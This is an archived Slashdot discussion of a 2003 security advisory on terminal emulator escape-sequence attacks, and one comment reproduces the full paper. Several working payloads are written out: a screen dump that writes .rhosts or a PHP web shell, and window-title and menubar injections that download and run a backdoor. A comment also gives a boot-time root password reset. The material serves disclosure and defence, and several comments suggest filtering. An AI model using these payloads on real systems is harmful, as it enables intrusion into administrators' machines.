Slashdot Mirror


Getting Hacked Through Your Terminal

hdm writes "My company recently published a paper on security issues with common terminal emulator applications. The interesting thing about these vulnerabiltiies is that many of them only require the victim to be running tail on their log files (apache, syslog, etc) for the attack to be successful. The paper (TXT) can be found here."

20 of 204 comments (clear)

  1. strings by siliconshock.com · · Score: 3, Informative

    just pipe your stuff through strings. it should help a bit

  2. Not all terminal emulators were susceptible by chongo · · Score: 2, Informative
    For those who might be concerned (and in case the paper is /.-ed), the tested and found that the following terminal emulators were NOT susceptible to screen dump or window title attacks:

    • xterm xf86 4.2.0 (patch 165)
    • aterm 0.42
    • rxvt 2.7.8
    • Eterm 0.9.1
    • konsole 3.1.0 rc5
    • putty 0.53
    • SecureCRT 3.4.6
    • gnome-terminal 2.0.2 (libzvt 2.0.1) [2.2 indirectly]
    • hanterm-xf 2.0

    I always pre-filter my logs thru a Perl script. Besides removing verbose messages that are not useful, my filters replace such non-printable characters with a printable character. Not only does it make it easier to spot strange octets on the screen, it does not depend on the terminal emulator remaining secure.

    --
    chongo (was here) /\oo/\
    1. Re:Not all terminal emulators were susceptible by Moses+Lawn · · Score: 2, Informative
      Funny, I just did that and it worked fine (putty 0.52). Didja type it right?


      The article did mention that Putty was not really susceptible to screen dump attacks, because



      Although putty would place the title onto the command-line, we were not able to find a method of hiding the command, since neither the "invisible" character attribute nor the foreground color could be set. Putty has a relatively low limit to the number of characters that can be placed into the window title, so it is not possible to simply flood the screen with garbage and hope the command rolls past the current view.


      This doesn't mean putty is "secure", but it's not as insecure as some others. The baddies seem to be eterm and rxvt. There's a nice description of a compromise scenario via eterm at the bottom of the article.

      --

      What if life is just a side effect of some other process and God has no idea we exist?

    2. Re:Not all terminal emulators were susceptible by KainX · · Score: 3, Informative

      The baddies seem to be eterm and rxvt. There's a nice description of a compromise scenario via eterm at the bottom of the article.

      Please note that the "case study" provided was contrived at best and damagingly inaccurate at worst. No official release of Eterm EVER could be used in the way they describe. Only people following CVS Eterm would ever have been open to such an attack, and those people would have updated to a fixed version almost 2 years ago.

      The case study is intended to illustrate a "Worst Case Scenario" type situation, not be any sort of realistic portrayal of actual events.

      --
      Michael Jennings | HPC Systems Engineer, Lawrence Berkeley National Lab | Author, Eterm (eterm.org)
  3. In case of slashdotting... by Coke+in+a+Can · · Score: 0, Informative

    TERMINAL EMULATOR SECURITY ISSUES
    Copyright © 2003 Digital Defense Incorporated
    All Rights Reserved

    [ Table of Contents ]

    -- Summary
    -- Disclaimer
    -- Escape Sequences
    -- Remote Exploitation
    -- Screen Dumping
    -- Window Title Reporting
    -- Miscellaneous Issues
    -- Terminal Defense
    -- Tested Emulator Versions
    -- Vulnerability Index
    -- A Fictitious Case Study
    -- References
    -- Credits

    [ Summary ]

    Many of the features supported by popular terminal emulator software can be abused
    when un-trusted data is displayed on the screen. The impact of this abuse can range from
    annoying screen garbage to a complete system compromise. All of the issues below are
    actually documented features, anyone who takes the time to read over the man pages or
    source code could use them to carry out an attack.

    [ Disclaimer ]

    There is nothing new in this paper. The entire concept of exploiting a terminal by
    supplying hostile input has been around for over 10 years now. Unix veterans and BBS
    users have been exposed to this type of problem since the very beginning, a newsgroup
    search can turn up all sorts of exploits, from the ever-popular "flash" program to the
    abuse of logging features in xterm which were disabled in R5. Therefore the purpose of
    this paper is to identify weaknesses in the current suite of popular terminal emulation
    software, not to rehash an ancient problem.

    [ Escape Sequences ]

    Typically, an escape sequence is a series of characters starting with the ASCII escape
    character (0x1B) and followed by a specific set of arguments. Escape sequences were
    originally used to control display devices such as dumb terminals and have been extended
    to allow various forms of interaction with modern operating systems. An escape sequence
    might be used to change text attributes (color, weight), move the cursor position,
    reconfigure the keyboard, update the window title, or manipulate the printer. Over the
    years, many new features have been added that required enhancements to the terminal
    emulator applications to support them.

    [ Remote Exploitation ]

    To exploit an escape sequence feature, an attacker must be able to display arbitrary data
    to the victim's terminal emulator. While at first glance that may seem rather unlikely, the
    attacker can take advantage of a number of small bugs in other applications to increase
    their chance of success.

    Just about every network service that uses syslog will pass remote data directly to the
    daemon without filtering the escape character. The responsibility then lays on the syslog
    daemon to strip the escape code before writing the log entry to the disk or terminal.
    Although both the stock *BSD syslog daemons as well the sysklogd package filter escape
    sequences, msyslog, syslog-ng, and the logging daemons supplied with many commercial
    UNIX-based operating systems do not.

    While sending data directly to a vulnerable syslogd or rwalld service is the most direct
    form of attack, there are literally dozens of other ways to place hostile binary data onto
    the terminal of a remote user. The Apache web server makes an effort to clean garbage
    from its access logs, but it still allows escape characters to be injected into the error logs.
    Many command-line network tools can be exploited by a hostile service response, some
    examples of this is include wget, curl, ftp, and telnet.

    Multi-user systems are especially vulnerable, as any user can send a system-wide
    message under the default configuration of most operating systems. Placing the attack
    data into the banner of a popular FTP server, telnet service, or message of the day file
    will increase the chance of finding a valid target. Certain console email clients refuse to
    display files when the content-type of an attachment is set to a unrecognized value, so the
    user must save the file and then read it on the command line, often just using the standard
    "cat" utility.

    [ Screen Dumping ]

    Eterm and rxvt both implement what they call the "screen dump" feature. This escape
    sequence will cause an arbitrary file to be opened and filled with the current contents of
    the terminal window. These are the only two tested emulators[1] that still had the ability
    to write to files enabled by default. Although rxvt will ignore dump requests for existing
    files, Eterm[2] will happily delete the file and then create it again. Although it is
    technically the same feature, the OSC code used to trigger it is different between the two
    emulators. For rxvt, the screen dump code is 55, for Eterm, it is 30. It is possible to
    control the entire contents of the file by specifying the reset sequence, then the required
    data, followed by the screen dump command.

    $ echo -e "\ec+ +\n\e];/home/user/.rhosts\a"

    The same approach can be used to create an authorized_keys file for SSH, a replacement
    passwd file, or even a hostile PHP script written to the user's web directory. This attack
    requires no interaction on the part of the user and would be very difficult to detect if done
    correctly. The primary difference between this issue and some of the others mentioned in
    this paper is that the actual "exploitation" happens on the system running the emulator
    software, not the current system that the terminal is accessing. The code that is
    responsible for opening the dump file is shown below. /* rxvt */
    if ((fd = open(str, O_RDWR | O_CREAT | O_EXCL, 0600)) >= 0) /* Eterm */
    unlink(fname);
    outfd = open(fname, O_CREAT | O_EXCL | O_NDELAY | O_WRONLY, S_IRUSR | S_IWUSR);

    [1] XFree86's xterm disabled an equivalent feature in X11R5 due to security concerns. It
    can still be enabled with a compile-time option.

    [2] Eterm actually disabled this in 0.9.2 (October 31, 2002), however many recent Linux
    distributions still shipped with 0.9.1.

    [ Window Title Reporting ]

    One of the features which most terminal emulators support is the ability for the shell to
    set the title of the window using an escape sequence. This feature was originally
    implemented by DEC for DECterm and has since been added to most emulators in use
    today. The easy way to set the window title of a terminal is using the echo command:

    $ echo -e "\e]2;This is the new window title\a"

    When the output of the above command is displayed on the terminal, it will set the
    window title to that string. Setting the window title by itself is not much of a security
    issue, however certain xterm variants (and dtterm) also provide an escape sequence for
    reporting the current window title. This essentially takes the current title and places it
    directly on the command line. Due to the way that most emulators processes the escape
    sequence, it is not possible to embed a carriage return into the window title itself, so the
    user would need to hit enter for it to process the title as a command. The escape sequence
    for reporting the window title is:

    $ echo -e "\e[21t"

    At this point, the attacker needs to convince the user to hit enter for the "exploit" to
    succeed. There are a number of techniques available to both hide the command and
    encourage the user to "press enter to continue". The simplest is to just insert a prompt
    followed by the "invisible" character attribute right before reporting the title. Another
    method is to set the foreground and background colors to be the same (all black or white)
    and hope the user hits the enter key when trying to determine what happened. The
    following example for xterm demonstrates a sequence that downloads and executes a
    backdoor while hiding the command line. The "Press Enter >" string should be changed
    to something appropriate for the attack vector. Some likely candidates include "wget
    internal error: press enter to continue" or "Error: unknown TERM, hit enter to continue".

    $ echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"

    Any terminal emulator that allows the window title to be placed on the command-line is
    vulnerable to this attack. The applications which were confirmed vulnerable include
    xterm, dtterm, uxterm, rxvt, aterm, Eterm, hanterm, and putty[1]. The tested applications
    that did not allow the title to be written include gnome-terminal 2.0, konsole, SecureCRT,
    and aterm.

    [1] Although putty would place the title onto the command-line, we were not able to find
    a method of hiding the command, since neither the "invisible" character attribute nor the
    foreground color could be set. Putty has a relatively low limit to the number of characters
    that can be placed into the window title, so it is not possible to simply flood the screen
    with garbage and hope the command rolls past the current view.

    [ Miscellaneous Issues ]

    Eterm should be given an award for the "Easiest to Compromise" terminal emulator. The
    developers based much of their code off of the rxvt and xterm source, so Eterm tends to
    share the same problems as those two emulators as well. If you happen to be running a
    CVS version of Eterm from between February 10th and May 8th of 2001, it was possible
    to execute an arbitrary command just by displaying the following escape sequence:

    $ echo -e "\e]6;73;command\a"

    Fortunately, this feature never made it into an official release, the "fork-and-exec" ability
    was replaced by the script action spawn() instead.

    During the research process, a number of small bugs were found that would either lock
    up the emulator completely or crash it. Although they can be disregarded as simple denial
    of service attacks, they could be abused to prevent an administrator from seeing
    subsequent logs during a compromise. In general, the code which processed application-
    side input seemed to place little emphasis on sanitizing the data before passing it directly
    to system-level functions. While there was some effort made to avoid standard buffer
    overflows, much of the loop-based character processing appeared ripe for a denial of
    service attack. An example of this is a bug in the DEC UDK processing of XFree86's
    xterm application, the following command will place the process into a tight resource-
    eating loop:

    $ echo -e "\eP0;0|0A/17\x9c"

    This bug was reported to xfree86@xfree86.org on December 17th, 2002 and no response
    was received as of the publication of this writing. The hanterm application is also
    vulnerable to this issue, as the code base started off as a direct copy of xterm.

    Both rxvt and aterm support a feature known as the menuBar. This feature allows the user
    to create drop-down menus at the top of the terminal screen using both menu
    configuration files and escape sequences. Anyone able to display data on the terminal
    could modify the menu entries in a way that would compromise the system when
    accessed. This type of attack relies more on social engineering, but still provides a
    potential entry point when nothing else is available. The example below will create a new
    top-level menu item called "Special" with a single item labeled "Access", when clicked it
    will download and execute a backdoor from http://127.0.0.1/.bd and exit the shell.

    $ echo -e "\e]10;[:/Special/{Access} wget 127.0.0.1/.bd\rsh bd\rexit\r:]\a\e]10;[show]\a"

    [ Terminal Defense ]

    The ideal solution is to sanitize all data before displaying it on your terminal, however
    without a custom terminal application or data filter, you can't guarantee that every tool
    you use on the command-line is going to strip escape sequences. The responsibility
    should rest on the actual terminal emulator; any features that allow file or command-line
    access should be disabled by default and more attention should be paid to new features
    that implement any use of escape sequences.

    The tested terminal emulators that were not susceptible to the screen dump or window
    title attacks include KDE's konsole, Gnome's gnome-terminal, Vandyke's SecureCRT,
    and Sasha Vasko's aterm. Konsole and gnome-terminal each use their own independent
    code-base and didn't try to support the same massive feature set as the others.
    SecureCRT took a similar approach, emulating just the minimum needed to be usable.
    With aterm, the code was originally based on rxvt, however many of the dangerous
    features were removed as the project progressed.

    [ Test Emulator Versions ]

    xterm: xf86 4.2.0 (patch 165)
    aterm: 0.42
    rxvt: 2.7.8
    Eterm: 0.9.1
    konsole: 3.1.0 rc5
    putty: 0.53
    SecureCRT: 3.4.6
    gnome-terminal: 2.0.2 (libzvt 2.0.1) [2.2 indirectly]
    hanterm-xf: 2.0

    [ Vulnerability Index ]

    The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned CVE
    candidate namess for all issues described in this paper.

    CAN-2003-0020 Apache Error Log Escape Sequence Injection

    CAN-2003-0021 Screen Dump: Eterm
    CAN-2003-0022 Screen Dump: rxvt

    CAN-2003-0063 Window Title Reporting: xterm
    CAN-2003-0064 Window Title Reporting: dtterm
    CAN-2003-0065 Window Title Reporting: uxterm
    CAN-2003-0066 Window Title Reporting: rxvt
    CAN-2003-0067 Window Title Reporting: aterm
    CAN-2003-0068 Window Title Reporting: eterm
    CAN-2003-0069 Window Title Reporting: putty
    CAN-2003-0070 Window Title Reporting: gnome-terminal
    CAN-2003-0078 Window Title Reporting: hanterm-xf

    CAN-2003-0071 DEC UDK Processing DoS: xterm
    CAN-2003-0079 DEC UDK Processing DoS: hanterm-xf

    CAN-2003-0023 Menubar Manipulation: rxvt
    CAN-2003-0024 Menubar Manipulation: aterm

    [ A Fictitious Case Study ]

    Jim is the sole administrator for the web server farm at a moderately sized ISP. Most of
    his company's clients maintain their own sites and Jim's primary responsibility is to keep
    the web servers online and secured. Jim spends some of his spare time dabbling with
    PHP and uses his workstation as his development system. The workstation is on the same
    network segment as the rest of the servers and the firewall only allows TCP port 80 and
    443 inbound. Jim has a new 2.5Ghz P4 and finally has enough processing power to run
    the Enlightenment window manager with all the tweaks. His favorite part about
    Enlightenment is the terminal emulator, Eterm, which lets him make the background
    transparent and do all sorts of imaging tricks. Jim keeps a tail process running for the
    error_log files on each server he manages, allowing him to easily spot script bugs and
    misconfigurations before the customer calls him to fix it.

    Andre is pissed. Some "friends" from his old hacking group have posted some
    embarrassing photos of him on the group's home page. The page is hosted in the ~user
    directory on a web server at some dinky ISP his old friend uses. He starts poking at the
    web server only to give up about 30 minutes later after failing to find a single vulnerable
    CGI or outdated service. He starts up Nmap again, this time on the whole class C that the
    web server resides in, determined to take down the entire subnet if he has to. He finds
    another web server, this one is running a traceroute gateway that is vulnerable to meta-
    character injection. Andre manages to get an outbound shell back to a bounce system and
    proceeds to poke around. He finds what appears to be an OpenSSH public key in the /tmp
    directory, named JimH.pub. Looking at the key file, he sees that the userid stored in it is
    for jim@jimsbox.weeisp.com. A quick check shows that jimsbox.weeisp.com not only
    resolves to an external address, but is also running a web server.

    The index page of Jim's web server consists of a couple pictures of him, some links to his
    favorite news sites, some screenshots of his new super-leet desktop, and some of his
    latest PHP projects. The first PHP project link Andre clicks on immediately starts
    spewing errors, complaining about not being able to connect to the database. The error
    message itself is interesting though, since it contains the full path to the script that
    triggered the error. Andre makes a quick note of this and keeps digging around, hoping
    for an easy entry point. As soon as he pulls up the desktop screen shots, he knows he
    struck gold. The screen shot not only shows a scantily clad Italian model in the
    background, but an Eterm open tailing the logs of the same server his pictures are being
    served from. He gets to work, hitting the workstation with every tool he can find, but an
    hour later he still hasn't busted a shell. While looking through the screen shots again,
    Andre gets the idea to look at the Eterm documentation and see what other features it
    supports. Not only is the documentation easy to read with plenty of examples, but it
    mentions an interesting feature described as a "screen dump".

    About two hours later, Andre finally manages to get Eterm and its 60 megabytes of
    support libraries compiled. He discovers that to force Eterm to write out a file, all he has
    to do is display a certain sequence of characters to the screen. The question now is how to
    get those characters onto that Eterm at 4:30 in the morning. After a quick review of the
    Apache source code, he finally finds a spot in the error handling code where he can inject
    arbitrary data into the log files. All he has to do is send a request for a file with the escape
    sequence he wants to use and Apache will write the unfiltered data directly to the log file.

    Now that he can write arbitrary files to the workstation, he has to find a method of using
    it to gain access. Andre is pretty sure that the workstation is running SSH, but the only
    ports available are 80 and 443. He remembers that the PHP errors he saw earlier provided
    the full path to the web root, if he can write files there, then he run commands through the
    web server. Five minutes later, Andre is connecting to the target web server and sending
    a GET request for a string generated with the following command:

    $ echo -e "\ec\e]30;/home/www/htdocs/owned.php\a"

    This command clears the current screen buffer, displays his hostile PHP code to the
    screen, and then uses the screen dump command to write it into the web root. He points
    his browser to http://jimsbox.weeisp.com/owned.php?c=id and starts the process of
    rooting Jim's workstation, stealing his SSH keys, and taking those horrid pictures (as well
    as the rest of the group's files) off of that web server.

    [ References ]

    This Paper and Associated Tools
    --- http://www.digitaldefense.net/labs/whitepapers.htm l
    --- http://www.digitaldefense.net/labs/securitytools.h tml

    Recognized Escape Sequences
    --- Eterm: http://www.eterm.org/docs/view.php?doc=ref
    --- xterm: http://rtfm.etla.org/xterm/ctlseq.html
    --- dtterm: http://hpc.uky.edu/cgi-bin/man.cgi?section=all&top ic=dtterm
    --- rxvt: http://www.rxvt.org/refer/rxvtRef.html

    Solar Designer's Post on Syslog Filtering
    --- http://marc.theaimsgroup.com/?l=bugtraq&m=96938656 931350

    ADM's "The Evil Escape Sequences"
    --- http://www.attrition.org/security/advisory/ADM/adm .evil.esc.advisory

    AmigaOS Escape Sequence Exploits
    --- http://www.abraxis.co.uk/SA-2001-11-08.html

    MS-DOS/Windows Key Redefinition
    --- http://lists.insecure.org/lists/bugtraq/1994/Jul/0 029.html

    Multiple Emulator Window Resize DoS
    --- http://archives.neohapsis.com/archives/bugtraq/200 0-05/0409.html
    --- http://groups.google.com/groups?selm=E12zFeu-00075 I-00%40ixion

    The Original "Flash"
    --- http://www.parallaxresearch.com/files/unix/exploit s/flash.c
    --- http://groups.google.com/groups?selm=342k7c%243ne% 40news.ysu.edu
    --- http://www.phrack-dont-give-a-shit-about-dmca.org/ show.php?p=47&a=4

    [ Credits ]

    This paper was written by H D Moore, with much help from the rest of the Digital
    Defense Operations Team. I would like to thank Solar Designer for providing some great
    feedback on the original draft and Mark Cox for handling the CVE candidate generation
    and vendor coordination.

  4. PuTTy by Dark+Lord+Seth · · Score: 4, Informative
    seth@Discordia:~$ echo -e "\e]2;;echo This is to see how queer putty is\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"
    Press Enter>;
    seth@Discordia:~$ l;echo This is to see how queer putty is

    I dare to say that putty IS vulnerable. This is what happens when I run a similiar command. Sure, it still expects an enter and anyone who takes his time to read stuff on his/her screen before blatantly hitting enter will notice the command. This was done with the latest build which I just downloaded from the site.

  5. Uhm, no... by loucura! · · Score: 2, Informative

    If you had read the article, rather than just glancing through it... those were the terminal emulators he used.

    Eterm was affected, Putty, Xterm, and Rxvt.

    --
    Black and grey are both shades of white.
  6. Thread by taviso · · Score: 4, Informative

    The author went on to have an interesting converstaion with Micahel Jennings, author of Eterm on Bugtraq here.

    --
    ex$$
  7. CORRECTION to terminal emulators not susceptible by chongo · · Score: 5, Informative
    Sorry .. I made a BAD cut and paste on my original posting! SORRY!!!

    The following terminal emulators were found, according to the article, to NOT be susceptible to screen dump or window title attacks:

    • aterm: 0.42
    • konsole: 3.1.0 rc5
    • gnome-terminal: 2.0.2 (libzvt 2.0.1) [2.2 indirectly]
    • SecureCRT: 3.4.6
    • aterm: 0.42

    Some asked about my Perl filter for tailing log files.

    Sans typos, here is an example that removes certain types of messages and fields, checks the file every 60 seconds, picks up trailing on the new file when the log file gets rotated (moved away), trims to 224 characters and replaces unusual chars with ~'s (assuming you use ASCII).

    /usr/bin/tail --retry --follow=name --max-unchanged-stats=60 /var/www/logs/access_log |
    /usr/bin/perl -ne '
    $line = $_;
    chomp $line;
    next if $line =~ m{... some regexp you want to ignore ...};
    next if $line =~ m{... etc ...};
    $line =~ s/... some field you want to ignore ...//;
    $line =~ s/... some common phrase you want to ignore ...//;
    $line =~ s/^(.{1,224}).*$/$1/;
    $line =~ s/\t / /g;
    $line =~ s/[^ -~]/~/g;
    print "$line\n";'

    As they say in perl, there is more than one way to do it. The above code fragment is just to give you the general idea.

    --
    chongo (was here) /\oo/\
  8. Tailing logs... by Urchlay · · Score: 5, Informative

    The paper mentions injecting escape sequences into log files which are being tail -f'ed... and that there's nothing new about terminal exploits.

    When I first heard about this (a couple of years back) I started using less +F for tailing logs. less will convert the escape character into the token ESC (in bold or inverse video), avoiding any escape-sequence exploits.. and also adds the benefits of being able to scroll back and search, which would make it worth using even if there were no such thing as a terminal exploit.

    If you're going to leave it running for a long time, you might want to also look into the -b and -B options, to limit the amount of buffer space it will allocate: something like `less -b1024 -B +F /var/log/apache/common.log' would limit less to 1024K (1M) of buffer, which means old data will eventually be discarded, but keeps less from malloc'ing all your core. As always, Read The Fine Manual for details :)

    I just checked: the `more' command on my Linux and Solaris boxen seems to pass escape sequences through, so you really do want `less' (or alias less=more, if you're used to typing `some_command|more'), not to mention `more' has no equivalent to `less +F' or `tail -f'.

    Hope this helps someone...

    1. Re:Tailing logs... by sfe_software · · Score: 3, Informative

      I just checked: the `more' command on my Linux and Solaris boxen seems to pass escape sequences through, so you really do want `less' (or alias less=more, if you're used to typing `some_command|more'), not to mention `more' has no equivalent to `less +F' or `tail -f'.

      Actually that should be:

      alias more=less

      But otherwise, very helpful. I'd always been in the habit of using 'tail -f', even as root -- and personally I'll be using 'less +F' from now on.

      --
      NGWave - Fast Sound Editor for Windows
  9. Re: why 224 character trim? by chongo · · Score: 2, Informative
    My terminal emulator windows happen to use a font that, on my monitor, permits a window of width of 225 characters.

    By trimming down to 224 characters, I avoid line wrap. System crackers cannot cause a very long line to wrap at just the right place to fake another entry.

    Sure, I'll perhaps miss important text beyond the 225th char, but I'm willing to take that risk. Besides, the script converts tabs to a single space and removes some common fields and phrases which further cut down down on long lines. And I can always to back to the logs to look at really long lines if I want to.

    And yes, maybe some terminal emulator has some long line bug somewhere. My perl script helps avoid testing it. :-)

    --
    chongo (was here) /\oo/\
  10. tail -f log | cat -v by e40 · · Score: 4, Informative

    will take care of the tail of a log file problem...

    1. Re:tail -f log | cat -v by Alain+Williams · · Score: 3, Informative

      An easier way is to use 'less' - which filters out nasty characters. You hit 'F' and it acts like 'tail -f' with the nice bonus that you can hit '^c' if you see something and want to and go back up the file to see how it started.

      It does help to reread the manuals occasionally.

  11. Re:Fuzzy memory by zztzed · · Score: 2, Informative

    Wow, your memory really is fuzzy... either that or you used incredibly badly-written BBS software.

    No BBS program I ever used (most of my experience is with TriBBS and RemoteAccess, but I also dabbled with Renegade and various Renegade-alikes) would parse the dynamic-content codes outside of files that would actually be displayed by the BBS. My memory's a bit fuzzy as well, so there might have been a few exceptions that I don't explicitly recall, such as allowing users with high enough access levels (e.g., sysops) to use them in messages, or allowing them in certain message bases, but under normal circumstances no one but the sysop would be allowed to use them and even then only in very limited circumstances.

    Similarly, no BBS program I ever used had a "drop to DOS" sequence that could be embedded in a display file. Of course there was a menu command that would do it, but a) menus and the ANSI files displayed when users accessed them were always separate and b) the drop to DOS command would have to be explicitly defined in whatever menu for anyone to actually use it, and only insane sysops would allow a regular user access to it.

  12. Re:Fuzzy memory by maelstrom · · Score: 2, Informative
    Could be, most of my experience as a Sysop was with RemoteAccess 2.02, Frontdoor 2.12, and various Renegade and WWIV boards.

    And yes, it would be incredibly poor programming practice to have a code path that would allow a user to exploit this. But, consider that many boards had some kind of dynamic headers which would display on top of the regular menus or message boards.

    So it could have been possible such that a user could embed a sequence in a forum message and then upon display the stupid software loads the header from disk, appends the part it has to display and then parses it for command sequences and finally displays it.

    Perhaps I'm only remembering somone claiming this was possible, I never tried to exploit any BBS, I was on the other side trying to keep myself up to date so these things couldn't happen to me. Either way, it was a blast being a Sysop and its good to see I'm not the only one on Slashdot that got a start there :)

    --
    The more you know, the less you understand.
  13. Re:Most exploits by 42forty-two42 · · Score: 3, Informative
    Here's how to do it on linux:
    • Reboot the computer, somehow.
    • Append 'init=/bin/sh' to the kernel command line at boot, then resume the boot. You will be dropped to a root shell.
    • mount -t proc proc /proc
    • mount -o remount,rw -t (root fs type) (root fs device) /
    • passwd
    • Enter the new password
    • mount -o remount,ro -t (root fs type) (root fs device) /
    • umount /proc
    • exec /sbin/init
    • The system will resume its boot. The root password will have been changed.
  14. Re:BBS ANSI Bombs by rjamestaylor · · Score: 2, Informative

    Speaking of the BBS days, when using my Mac Classic and the terminal software of the day (the name of which I forget) whenever the string
    NO CARRIER+++ was displayed beginning in position 0 (left to right) the modem connection dropped. I made the mistake of sharing this newfound knowledge with my friends who proceeded to disconnect me at every possible opportunity. Of course, today I could have them arrested under the anti-terrorism laws for their purposeful denial of service attack. Hmmm...is the law retroactive??

    --
    -- @rjamestaylor on Ello
  15. "write"? by kris · · Score: 2, Informative

    You do have "mesg n" set, do you?

    If not, you are attachable by "write " as well.

    And yes, this is very, very old. Many an administrators open terminals have been taken remotely using this when I was at university.

    Kristian

  16. Forget about emulators, just hack real terminals by iamacat · · Score: 3, Informative
    VT220s in my school lab used to have a feature that you can send them ACK character and they'll reply with a string configured in the terminal menu. I used to reprogram the string to do some UNIX commands and then put ^E in my .plan - back in the days when people used finger as a web browser. Also, you could just write a simple shell script that simulated the login sequence and leave it running without logging out. On older UNIX systems, this worked even over dialup if your shell script ignored SIGHUP.

    But the later option was too risky for my taste, because the "login" process was owned by you. So instead, I wrote a doomsday shell script. It gave you a # prompt to make you believe you are running as root. It then emulated various UNIX commands. For example "jobs" showed [1] rm -rf / & and "kill" returned "Permission denied". It logged all the commands and responses to an obscure file in my home directory. Once I got our semi-knowlegable system administrator's assistant to "interact" with this script and it was quite fun reading him using kill 10 times in a row with the same arguments. She really thought the filesystem was going south.

    Terrible abuse that can be inflicted on X terminals or public lab PCs with terminal emulators is left to the imagination of the reader.